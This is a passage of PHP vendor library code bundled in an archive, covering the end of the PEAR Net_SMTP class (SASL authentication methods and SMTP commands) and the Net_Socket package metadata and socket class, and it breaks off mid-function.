            if (PEAR::isError($method = $this->getBestAuthMethod())) {
                /* Return the PEAR_Error object from _getBestAuthMethod(). */
                return $method;
            }
        } else {
            $method = strtoupper($method);
            if (!array_key_exists($method, $this->auth_methods)) {
                return PEAR::raiseError("$method is not a supported authentication method");
            }
        }

        if (!isset($this->auth_methods[$method])) {
            return PEAR::raiseError("$method is not a supported authentication method");
        }

        if (!is_callable($this->auth_methods[$method], false)) {
            return PEAR::raiseError("$method authentication method cannot be called");
        }

        if (is_array($this->auth_methods[$method])) {
            list($object, $method) = $this->auth_methods[$method];
            $result = $object->{$method}($uid, $pwd, $authz, $this);
        } else {
            $func   = $this->auth_methods[$method];
            $result = $func($uid, $pwd, $authz, $this);
        }

        /* If an error was encountered, return the PEAR_Error object. */
        if (PEAR::isError($result)) {
            return $result;
        }

        return true;
    }

    /**
     * Add a new authentication method.
     *
     * @param string $name     The authentication method name (e.g. 'PLAIN')
     * @param mixed  $callback The authentication callback (given as the name of a
     *                         function or as an (object, method name) array).
     * @param bool   $prepend  Should the new method be prepended to the list of
     *                         available methods?  This is the default behavior,
     *                         giving the new method the highest priority.
     *
     * @return mixed True on success or a PEAR_Error object on failure.
     *
     * @since 1.6.0
     */
    public function setAuthMethod($name, $callback, $prepend = true)
    {
        if (!is_string($name)) {
            return PEAR::raiseError('Method name is not a string');
        }

        if (!is_string($callback) && !is_array($callback)) {
            return PEAR::raiseError('Method callback must be string or array');
        }

        if (is_array($callback)) {
            if (!is_object($callback[0]) || !is_string($callback[1])) {
                return PEAR::raiseError('Bad mMethod callback array');
            }
        }

        if ($prepend) {
            $this->auth_methods = array_merge(
                array($name => $callback), $this->auth_methods
            );
        } else {
            $this->auth_methods[$name] = $callback;
        }

        return true;
    }

    /**
     * Authenticates the user using the DIGEST-MD5 method.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $pwd   The password to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.1.0
     */
    protected function authDigestMD5($uid, $pwd, $authz = '')
    {
        if (PEAR::isError($error = $this->put('AUTH', 'DIGEST-MD5'))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            /* 503: Error: already authenticated */
            if ($this->code === 503) {
                return true;
            }
            return $error;
        }

        $auth_sasl = new Auth_SASL;
        $digest    = $auth_sasl->factory('digest-md5');
        $challenge = base64_decode($this->arguments[0]);
        $auth_str  = base64_encode(
            $digest->getResponse($uid, $pwd, $challenge, $this->host, "smtp", $authz)
        );

        if (PEAR::isError($error = $this->put($auth_str))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            return $error;
        }

        /* We don't use the protocol's third step because SMTP doesn't
         * allow subsequent authentication, so we just silently ignore
         * it. */
        if (PEAR::isError($error = $this->put(''))) {
            return $error;
        }
        /* 235: Authentication successful */
        if (PEAR::isError($error = $this->parseResponse(235))) {
            return $error;
        }
    }

    /**
     * Authenticates the user using the CRAM-MD5 method.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $pwd   The password to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.1.0
     */
    protected function authCRAMMD5($uid, $pwd, $authz = '')
    {
        if (PEAR::isError($error = $this->put('AUTH', 'CRAM-MD5'))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            /* 503: Error: already authenticated */
            if ($this->code === 503) {
                return true;
            }
            return $error;
        }

        $auth_sasl = new Auth_SASL;
        $challenge = base64_decode($this->arguments[0]);
        $cram      = $auth_sasl->factory('cram-md5');
        $auth_str  = base64_encode($cram->getResponse($uid, $pwd, $challenge));

        if (PEAR::isError($error = $this->put($auth_str))) {
            return $error;
        }

        /* 235: Authentication successful */
        if (PEAR::isError($error = $this->parseResponse(235))) {
            return $error;
        }
    }

    /**
     * Authenticates the user using the LOGIN method.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $pwd   The password to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.1.0
     */
    protected function authLogin($uid, $pwd, $authz = '')
    {
        if (PEAR::isError($error = $this->put('AUTH', 'LOGIN'))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            /* 503: Error: already authenticated */
            if ($this->code === 503) {
                return true;
            }
            return $error;
        }

        if (PEAR::isError($error = $this->put(base64_encode($uid)))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            return $error;
        }

        if (PEAR::isError($error = $this->put(base64_encode($pwd)))) {
            return $error;
        }

        /* 235: Authentication successful */
        if (PEAR::isError($error = $this->parseResponse(235))) {
            return $error;
        }

        return true;
    }

    /**
     * Authenticates the user using the PLAIN method.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $pwd   The password to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.1.0
     */
    protected function authPlain($uid, $pwd, $authz = '')
    {
        if (PEAR::isError($error = $this->put('AUTH', 'PLAIN'))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            /* 503: Error: already authenticated */
            if ($this->code === 503) {
                return true;
            }
            return $error;
        }

        $auth_str = base64_encode($authz . chr(0) . $uid . chr(0) . $pwd);

        if (PEAR::isError($error = $this->put($auth_str))) {
            return $error;
        }

        /* 235: Authentication successful */
        if (PEAR::isError($error = $this->parseResponse(235))) {
            return $error;
        }

        return true;
    }

     /**
     * Authenticates the user using the GSSAPI method.
     *
     * PHP krb5 extension is required,
     * service principal and credentials cache must be set.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $pwd   The password to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     */
    protected function authGSSAPI($uid, $pwd, $authz = '')
    {
        if (PEAR::isError($error = $this->put('AUTH', 'GSSAPI'))) {
            return $error;
        }
        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            /* 503: Error: already authenticated */
            if ($this->code === 503) {
                return true;
            }
            return $error;
        }

        if (!$this->gssapi_principal) {
            return PEAR::raiseError('No Kerberos service principal set', 2);
        }

        if (!empty($this->gssapi_cname)) {
            putenv('KRB5CCNAME=' . $this->gssapi_cname);
        }

        try {
            $ccache = new KRB5CCache();
            if (!empty($this->gssapi_cname)) {
                $ccache->open($this->gssapi_cname);
            }
            
            $gssapicontext = new GSSAPIContext();
            $gssapicontext->acquireCredentials($ccache);

            $token   = '';
            $success = $gssapicontext->initSecContext($this->gssapi_principal, null, null, null, $token);
            $token   = base64_encode($token);
        }
        catch (Exception $e) {
            return PEAR::raiseError('GSSAPI authentication failed: ' . $e->getMessage());
        }

        if (PEAR::isError($error = $this->put($token))) {
            return $error;
        }

        /* 334: Continue authentication request */
        if (PEAR::isError($error = $this->parseResponse(334))) {
            return $error;
        }

        $response = $this->arguments[0];

        try {
            $challenge = base64_decode($response);
            $gssapicontext->unwrap($challenge, $challenge);
            $gssapicontext->wrap($challenge, $challenge, true);
        }
        catch (Exception $e) {
            return PEAR::raiseError('GSSAPI authentication failed: ' . $e->getMessage());
        }

        if (PEAR::isError($error = $this->put(base64_encode($challenge)))) {
            return $error;
        }

        /* 235: Authentication successful */
        if (PEAR::isError($error = $this->parseResponse(235))) {
            return $error;
        }

        return true;
    }

    /**
     * Authenticates the user using the XOAUTH2 method.
     *
     * @param string $uid   The userid to authenticate as.
     * @param string $token The access token to authenticate with.
     * @param string $authz The optional authorization proxy identifier.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.9.0
     */
    public function authXOAuth2($uid, $token, $authz, $conn)
    {
        $auth = base64_encode("user=$uid\1auth=$token\1\1");

        // Maximum length of the base64-encoded token to be sent in the initial response is 497 bytes, according to
        // RFC 4954 (https://datatracker.ietf.org/doc/html/rfc4954); for longer tokens an empty initial
        // response MUST be sent and the token must be sent separately
        // (497 bytes = 512 bytes /SMTP command length limit/ - 13 bytes /"AUTH XOAUTH2 "/ - 2 bytes /CRLF/)
        if (strlen($auth) <= 497) {
            if (PEAR::isError($error = $this->put('AUTH', 'XOAUTH2 ' . $auth))) {
                return $error;
            }
        } else {
            if (PEAR::isError($error = $this->put('AUTH', 'XOAUTH2'))) {
                return $error;
            }

            // server is expected to respond with 334
            if (PEAR::isError($error = $this->parseResponse(334))) {
                return $error;
            }

            // then follows the token
            if (PEAR::isError($error = $this->put($auth))) {
                return $error;
            }
        }

        /* 235: Authentication successful or 334: Continue authentication */
        if (PEAR::isError($error = $this->parseResponse([235, 334]))) {
            return $error;
        }

        /* 334: Continue authentication request */
        if ($this->code === 334) {
            /* Send an empty line as response to 334 */
            if (PEAR::isError($error = $this->put(''))) {
                return $error;
            }

            /* Expect 235: Authentication successful */
            if (PEAR::isError($error = $this->parseResponse(235))) {
                return $error;
            }
        }

        return true;
    }

    /**
     * Send the HELO command.
     *
     * @param string $domain The domain name to say we are.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function helo($domain)
    {
        if (PEAR::isError($error = $this->put('HELO', $domain))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250))) {
            return $error;
        }

        return true;
    }

    /**
     * Return the list of SMTP service extensions advertised by the server.
     *
     * @return array The list of SMTP service extensions.
     * @since 1.3
     */
    public function getServiceExtensions()
    {
        return $this->esmtp;
    }

    /**
     * Send the MAIL FROM: command.
     *
     * @param string $sender The sender (reverse path) to set.
     * @param string $params String containing additional MAIL parameters,
     *                       such as the NOTIFY flags defined by RFC 1891
     *                       or the VERP protocol.
     *
     *                       If $params is an array, only the 'verp' option
     *                       is supported.  If 'verp' is true, the XVERP
     *                       parameter is appended to the MAIL command.
     *                       If the 'verp' value is a string, the full
     *                       XVERP=value parameter is appended.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function mailFrom($sender, $params = null)
    {
        $args = "FROM:<$sender>";

        /* Support the deprecated array form of $params. */
        if (is_array($params) && isset($params['verp'])) {
            if ($params['verp'] === true) {
                $args .= ' XVERP';
            } elseif (trim($params['verp'])) {
                $args .= ' XVERP=' . $params['verp'];
            }
        } elseif (is_string($params) && !empty($params)) {
            $args .= ' ' . $params;
        }

        if (PEAR::isError($error = $this->put('MAIL', $args))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the RCPT TO: command.
     *
     * @param string $recipient The recipient (forward path) to add.
     * @param string $params    String containing additional RCPT parameters,
     *                          such as the NOTIFY flags defined by RFC 1891.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     *
     * @since 1.0
     */
    public function rcptTo($recipient, $params = null)
    {
        $args = "TO:<$recipient>";
        if (is_string($params)) {
            $args .= ' ' . $params;
        }

        if (PEAR::isError($error = $this->put('RCPT', $args))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(array(250, 251), $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Quote the data so that it meets SMTP standards.
     *
     * This is provided as a separate public function to facilitate
     * easier overloading for the cases where it is desirable to
     * customize the quoting behavior.
     *
     * @param string &$data The message text to quote. The string must be passed
     *                      by reference, and the text will be modified in place.
     *
     * @since 1.2
     */
    public function quotedata(&$data)
    {
        /* Because a single leading period (.) signifies an end to the
         * data, legitimate leading periods need to be "doubled" ('..'). */
        $data = preg_replace('/^\./m', '..', $data);

        /* Change Unix (\n) and Mac (\r) linefeeds into CRLF's (\r\n). */
        $data = preg_replace('/(?:\r\n|\n|\r(?!\n))/', "\r\n", $data);
    }

    /**
     * Send the DATA command.
     *
     * @param mixed  $data    The message data, either as a string or an open
     *                        file resource.
     * @param string $headers The message headers.  If $headers is provided,
     *                        $data is assumed to contain only body data.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function data($data, $headers = null)
    {
        /* Verify that $data is a supported type. */
        if (!is_string($data) && !is_resource($data)) {
            return PEAR::raiseError('Expected a string or file resource');
        }

        /* Start by considering the size of the optional headers string.  We
         * also account for the addition 4 character "\r\n\r\n" separator
         * sequence. */
        $size = $headers_size = (is_null($headers)) ? 0 : strlen($headers) + 4;

        if (is_resource($data)) {
            $stat = fstat($data);
            if ($stat === false) {
                return PEAR::raiseError('Failed to get file size');
            }
            $size += $stat['size'];
        } else {
            $size += strlen($data);
        }

        /* RFC 1870, section 3, subsection 3 states "a value of zero indicates
         * that no fixed maximum message size is in force".  Furthermore, it
         * says that if "the parameter is omitted no information is conveyed
         * about the server's fixed maximum message size". */
        $limit = (isset($this->esmtp['SIZE'])) ? $this->esmtp['SIZE'] : 0;
        if ($limit > 0 && $size >= $limit) {
            return PEAR::raiseError('Message size exceeds server limit');
        }

        /* Initiate the DATA command. */
        if (PEAR::isError($error = $this->put('DATA'))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(354))) {
            return $error;
        }

        /* If we have a separate headers string, send it first. */
        if (!is_null($headers)) {
            $this->quotedata($headers);
            if (PEAR::isError($result = $this->send($headers . "\r\n\r\n"))) {
                return $result;
            }

            /* Subtract the headers size now that they've been sent. */
            $size -= $headers_size;
        }

        /* Now we can send the message body data. */
        if (is_resource($data)) {
            /* Stream the contents of the file resource out over our socket
             * connection, line by line.  Each line must be run through the
             * quoting routine. */
            while (strlen($line = fread($data, 8192)) > 0) {
                /* If the last character is an newline, we need to grab the
                 * next character to check to see if it is a period. */
                while (!feof($data)) {
                    $char = fread($data, 1);
                    $line .= $char;
                    if ($char != "\n") {
                        break;
                    }
                }
                $this->quotedata($line);
                if (PEAR::isError($result = $this->send($line))) {
                    return $result;
                }
            }

             $last = $line;
        } else {
            /*
             * Break up the data by sending one chunk (up to 512k) at a time.
             * This approach reduces our peak memory usage.
             */
            for ($offset = 0; $offset < $size;) {
                $end = $offset + 512000;

                /*
                 * Ensure we don't read beyond our data size or span multiple
                 * lines.  quotedata() can't properly handle character data
                 * that's split across two line break boundaries.
                 */
                if ($end >= $size) {
                    $end = $size;
                } else {
                    for (; $end < $size; $end++) {
                        if ($data[$end] != "\n") {
                            break;
                        }
                    }
                }

                /* Extract our chunk and run it through the quoting routine. */
                $chunk = substr($data, $offset, $end - $offset);
                $this->quotedata($chunk);

                /* If we run into a problem along the way, abort. */
                if (PEAR::isError($result = $this->send($chunk))) {
                    return $result;
                }

                /* Advance the offset to the end of this chunk. */
                $offset = $end;
            }

            $last = $chunk;
        }

        /* Don't add another CRLF sequence if it's already in the data */
        $terminator = (substr($last, -2) == "\r\n" ? '' : "\r\n") . ".\r\n";

        /* Finally, send the DATA terminator sequence. */
        if (PEAR::isError($result = $this->send($terminator))) {
            return $result;
        }

        /* Verify that the data was successfully received by the server. */
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the SEND FROM: command.
     *
     * @param string $path The reverse path to send.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.2.6
     */
    public function sendFrom($path)
    {
        if (PEAR::isError($error = $this->put('SEND', "FROM:<$path>"))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the SOML FROM: command.
     *
     * @param string $path The reverse path to send.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.2.6
     */
    public function somlFrom($path)
    {
        if (PEAR::isError($error = $this->put('SOML', "FROM:<$path>"))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the SAML FROM: command.
     *
     * @param string $path The reverse path to send.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.2.6
     */
    public function samlFrom($path)
    {
        if (PEAR::isError($error = $this->put('SAML', "FROM:<$path>"))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the RSET command.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since  1.0
     */
    public function rset()
    {
        if (PEAR::isError($error = $this->put('RSET'))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250, $this->pipelining))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the VRFY command.
     *
     * @param string $string The string to verify
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function vrfy($string)
    {
        /* Note: 251 is also a valid response code */
        if (PEAR::isError($error = $this->put('VRFY', $string))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(array(250, 252)))) {
            return $error;
        }

        return true;
    }

    /**
     * Send the NOOP command.
     *
     * @return mixed Returns a PEAR_Error with an error message on any
     *               kind of failure, or true on success.
     * @since 1.0
     */
    public function noop()
    {
        if (PEAR::isError($error = $this->put('NOOP'))) {
            return $error;
        }
        if (PEAR::isError($error = $this->parseResponse(250))) {
            return $error;
        }

        return true;
    }

    /**
     * Backwards-compatibility method.  identifySender()'s functionality is
     * now handled internally.
     *
     * @return boolean This method always return true.
     *
     * @since 1.0
     */
    public function identifySender()
    {
        return true;
    }
}
PK
h�\s�='��$vendor/pear/net_socket/composer.jsonnu�[���{
    "authors": [
        {
            "email": "chuck@horde.org",
            "name": "Chuck Hagenbuch",
            "role": "Lead"
        },
        {
            "email": "stig@php.net",
            "name": "Stig Bakken",
            "role": "Lead"
        },
        {
            "email": "alec@php.net",
            "name": "Aleksander Machniak",
            "role": "Lead"
        }
    ],
    "autoload": {
        "psr-0": {
            "Net": "./"
        }
    },
    "description": "More info available on: http://pear.php.net/package/Net_Socket",
    "include-path": [
        "./"
    ],
    "license": "PHP License",
    "name": "pear/net_socket",
    "support": {
        "issues": "http://pear.php.net/bugs/search.php?cmd=display&package_name[]=Net_Socket",
        "source": "https://github.com/pear/Net_Socket"
    },
    "type": "library",
    "require": {
        "pear/pear_exception": "*"
    },
    "require-dev": {
        "phpunit/phpunit": "*"
    }
}PK
h�\�b��HH"vendor/pear/net_socket/package.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<package packagerversion="1.9.1" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0" xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0 http://pear.php.net/dtd/tasks-1.0.xsd http://pear.php.net/dtd/package-2.0 http://pear.php.net/dtd/package-2.0.xsd">
 <name>Net_Socket</name>
 <channel>pear.php.net</channel>
 <summary>Network Socket Interface</summary>
 <description>Net_Socket is a class interface to TCP sockets.  It provides blocking
  and non-blocking operation, with different reading and writing modes
  (byte-wise, block-wise, line-wise and special formats like network
  byte-order ip addresses).</description>
 <lead>
  <name>Chuck Hagenbuch</name>
  <user>chagenbu</user>
  <email>chuck@horde.org</email>
  <active>yes</active>
 </lead>
 <lead>
  <name>Stig Bakken</name>
  <user>ssb</user>
  <email>stig@php.net</email>
  <active>no</active>
 </lead>
 <lead>
  <name>Aleksander Machniak</name>
  <user>alec</user>
  <email>alec@php.net</email>
  <active>yes</active>
 </lead>
 <date>2013-05-24</date>
 <time>20:00:00</time>
 <version>
  <release>1.0.14</release>
  <api>1.0.10</api>
 </version>
 <stability>
  <release>stable</release>
  <api>stable</api>
 </stability>
 <license uri="http://www.php.net/license/2_02.txt">PHP License</license>
 <notes>
- Fix connecting when host is specified with protocol prefix e.g. ssl://
 </notes>
 <contents>
  <dir baseinstalldir="/" name="/">
   <file baseinstalldir="/" md5sum="057d5c52b2dd9cfb2a458d532d95cfbb" name="Net/Socket.php" role="php" />
  </dir>
 </contents>
 <dependencies>
  <required>
   <php>
    <min>4.3.0</min>
   </php>
   <pearinstaller>
    <min>1.4.0b1</min>
   </pearinstaller>
  </required>
 </dependencies>
 <phprelease />
</package>
PK
h�\�W�OO%vendor/pear/net_socket/Net/Socket.phpnu�[���<?php
/**
 * Net_Socket
 *
 * PHP Version 4
 *
 * Copyright (c) 1997-2013 The PHP Group
 *
 * This source file is subject to version 2.0 of the PHP license,
 * that is bundled with this package in the file LICENSE, and is
 * available at through the world-wide-web at
 * http://www.php.net/license/2_02.txt.
 * If you did not receive a copy of the PHP license and are unable to
 * obtain it through the world-wide-web, please send a note to
 * license@php.net so we can mail you a copy immediately.
 *
 * Authors: Stig Bakken <ssb@php.net>
 *          Chuck Hagenbuch <chuck@horde.org>
 *
 * @category  Net
 * @package   Net_Socket
 * @author    Stig Bakken <ssb@php.net>
 * @author    Chuck Hagenbuch <chuck@horde.org>
 * @copyright 1997-2003 The PHP Group
 * @license   http://www.php.net/license/2_02.txt PHP 2.02
 * @link      http://pear.php.net/packages/Net_Socket
 */

require_once 'PEAR.php';

define('NET_SOCKET_READ', 1);
define('NET_SOCKET_WRITE', 2);
define('NET_SOCKET_ERROR', 4);

/**
 * Generalized Socket class.
 *
 * @category  Net
 * @package   Net_Socket
 * @author    Stig Bakken <ssb@php.net>
 * @author    Chuck Hagenbuch <chuck@horde.org>
 * @copyright 1997-2003 The PHP Group
 * @license   http://www.php.net/license/2_02.txt PHP 2.02
 * @link      http://pear.php.net/packages/Net_Socket
 */
class Net_Socket extends PEAR
{
    /**
     * Socket file pointer.
     * @var resource $fp
     */
    var $fp = null;

    /**
     * Whether the socket is blocking. Defaults to true.
     * @var boolean $blocking
     */
    var $blocking = true;

    /**
     * Whether the socket is persistent. Defaults to false.
     * @var boolean $persistent
     */
    var $persistent = false;

    /**
     * The IP address to connect to.
     * @var string $addr
     */
    var $addr = '';

    /**
     * The port number to connect to.
     * @var integer $port
     */
    var $port = 0;

    /**
     * Number of seconds to wait on socket operations before assuming
     * there's no more data. Defaults to no timeout.
     * @var integer|float $timeout
     */
    var $timeout = null;

    /**
     * Number of bytes to read at a time in readLine() and
     * readAll(). Defaults to 2048.
     * @var integer $lineLength
     */
    var $lineLength = 2048;

    /**
     * The string to use as a newline terminator. Usually "\r\n" or "\n".
     * @var string $newline
     */
    var $newline = "\r\n";

    /**
     * Connect to the specified port. If called when the socket is
     * already connected, it disconnects and connects again.
     *
     * @param string  $addr       IP address or host name (may be with protocol prefix).
     * @param integer $port       TCP port number.
     * @param boolean $persistent (optional) Whether the connection is
     *                            persistent (kept open between requests
     *                            by the web server).
     * @param integer $timeout    (optional) Connection socket timeout.
     * @param array   $options    See options for stream_context_create.
     *
     * @access public
     *
     * @return boolean|PEAR_Error  True on success or a PEAR_Error on failure.
     */
    function connect($addr, $port = 0, $persistent = null,
                     $timeout = null, $options = null)
    {
        if (is_resource($this->fp)) {
            @fclose($this->fp);
            $this->fp = null;
        }

        if (!$addr) {
            return $this->raiseError('$addr cannot be empty');
        } else if (strspn($addr, ':.0123456789') == strlen($addr)) {
            $this->addr = strpos($addr, ':') !== false ? '['.$addr.']' : $addr;
        } else {
            $this->addr = $addr;
        }

        $this->port = $port % 65536;

        if ($persistent !== null) {
            $this->persistent = $persistent;
        }

        $openfunc = $this->persistent ? 'pfsockopen' : 'fsockopen';
        $errno    = 0;
        $errstr   = '';

        $old_track_errors = @ini_set('track_errors', 1);

        if ($timeout <= 0) {
            $timeout = @ini_get('default_socket_timeout');
        }

        if ($options && function_exists('stream_context_create')) {
            $context = stream_context_create($options);

            // Since PHP 5 fsockopen doesn't allow context specification
            if (function_exists('stream_socket_client')) {
                $flags = STREAM_CLIENT_CONNECT;

                if ($this->persistent) {
                    $flags = STREAM_CLIENT_PERSISTENT;
                }

                $addr = $this->addr . ':' . $this->port;
                $fp   = stream_socket_client($addr, $errno, $errstr,
                                             $timeout, $flags, $context);
            } else {
                $fp = @$openfunc($this->addr, $this->port, $errno,
                                 $errstr, $timeout, $context);
            }
        } else {
            $fp = @$openfunc($this->addr, $this->port, $errno, $errstr, $timeout);
        }

        if (!$fp) {
            if ($errno == 0 && !strlen($errstr) && isset($php_errormsg)) {
                $errstr = $php_errormsg;
            }
            @ini_set('track_errors', $old_track_errors);
            return $this->raiseError($errstr, $errno);
        }

        @ini_set('track_errors', $old_track_errors);
        $this->fp = $fp;
        $this->setTimeout();
        return $this->setBlocking($this->blocking);
    }

    /**
     * Disconnects from the peer, closes the socket.
     *
     * @access public
     * @return mixed true on success or a PEAR_Error instance otherwise
     */
    function disconnect()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        @fclose($this->fp);
        $this->fp = null;
        return true;
    }

    /**
     * Set the newline character/sequence to use.
     *
     * @param string $newline  Newline character(s)
     * @return boolean True
     */
    function setNewline($newline)
    {
        $this->newline = $newline;
        return true;
    }

    /**
     * Find out if the socket is in blocking mode.
     *
     * @access public
     * @return boolean  The current blocking mode.
     */
    function isBlocking()
    {
        return $this->blocking;
    }

    /**
     * Sets whether the socket connection should be blocking or
     * not. A read call to a non-blocking socket will return immediately
     * if there is no data available, whereas it will block until there
     * is data for blocking sockets.
     *
     * @param boolean $mode True for blocking sockets, false for nonblocking.
     *
     * @access public
     * @return mixed true on success or a PEAR_Error instance otherwise
     */
    function setBlocking($mode)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $this->blocking = $mode;
        stream_set_blocking($this->fp, (int)$this->blocking);
        return true;
    }

    /**
     * Sets the timeout value on socket descriptor,
     * expressed in the sum of seconds and microseconds
     *
     * @param integer $seconds      Seconds.
     * @param integer $microseconds Microseconds, optional.
     *
     * @access public
     * @return mixed True on success or false on failure or
     *               a PEAR_Error instance when not connected
     */
    function setTimeout($seconds = null, $microseconds = null)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        if ($seconds === null && $microseconds === null) {
            $seconds      = (int) $this->timeout;
            $microseconds = (int) (($this->timeout - $seconds) * 1000000);
        } else {
            $this->timeout = $seconds + $microseconds/1000000;
        }

        if ($this->timeout > 0) {
            return stream_set_timeout($this->fp, (int) $seconds, (int) $microseconds);
        }
        else {
            return false;
        }
    }

    /**
     * Sets the file buffering size on the stream.
     * See php's stream_set_write_buffer for more information.
     *
     * @param integer $size Write buffer size.
     *
     * @access public
     * @return mixed on success or an PEAR_Error object otherwise
     */
    function setWriteBuffer($size)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        $returned = stream_set_write_buffer($this->fp, $size);
        if ($returned == 0) {
            return true;
        }
        return $this->raiseError('Cannot set write buffer.');
    }

    /**
     * Returns information about an existing socket resource.
     * Currently returns four entries in the result array:
     *
     * <p>
     * timed_out (bool) - The socket timed out waiting for data<br>
     * blocked (bool) - The socket was blocked<br>
     * eof (bool) - Indicates EOF event<br>
     * unread_bytes (int) - Number of bytes left in the socket buffer<br>
     * </p>
     *
     * @access public
     * @return mixed Array containing information about existing socket
     *               resource or a PEAR_Error instance otherwise
     */
    function getStatus()
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        return stream_get_meta_data($this->fp);
    }

    /**
     * Get a specified line of data
     *
     * @param int $size Reading ends when size - 1 bytes have been read,
     *                  or a newline or an EOF (whichever comes first).
     *                  If no size is specified, it will keep reading from
     *                  the stream until it reaches the end of the line.
     *
     * @access public
     * @return mixed $size bytes of data from the socket, or a PEAR_Error if
     *         not connected. If an error occurs, FALSE is returned.
     */
    function gets($size = null)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        if (is_null($size)) {
            return @fgets($this->fp);
        } else {
            return @fgets($this->fp, $size);
        }
    }

    /**
     * Read a specified amount of data. This is guaranteed to return,
     * and has the added benefit of getting everything in one fread()
     * chunk; if you know the size of the data you're getting
     * beforehand, this is definitely the way to go.
     *
     * @param integer $size The number of bytes to read from the socket.
     *
     * @access public
     * @return $size bytes of data from the socket, or a PEAR_Error if
     *         not connected.
     */
    function read($size)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        return @fread($this->fp, $size);
    }

    /**
     * Write a specified amount of data.
     *
     * @param string  $data      Data to write.
     * @param integer $blocksize Amount of data to write at once.
     *                           NULL means all at once.
     *
     * @access public
     * @return mixed If the socket is not connected, returns an instance of
     *               PEAR_Error.
     *               If the write succeeds, returns the number of bytes written.
     *               If the write fails, returns false.
     *               If the socket times out, returns an instance of PEAR_Error.
     */
    function write($data, $blocksize = null)
    {
        if (!is_resource($this->fp)) {
            return $this->raiseError('not connected');
        }

        if (is_null($blocksize) && !OS_WINDOWS) {
            $written = @fwrite($this->fp, $data);

            // Check for timeout or lost connection
            if ($written===false) {
                $meta_data = $this->getStatus();

                if (!is_array($meta_data)) {
                    return $meta_data; // PEAR_Error
                }

                if (!empty($meta_data['timed_out'])) {
                    return $this->raiseError('timed out');
                }
            }

            return $written;
        } else {
            if (is_null($blocksize)) {
                $blocksize = 1024;
            }

            $pos  = 0;
            $size = strlen($data);
            while ($pos < $size) {
                $written = @fwrite($this->fp, substr($data, $pos, $blocksize));

                // Check for timeout or lost connection
                if ($written===false) {
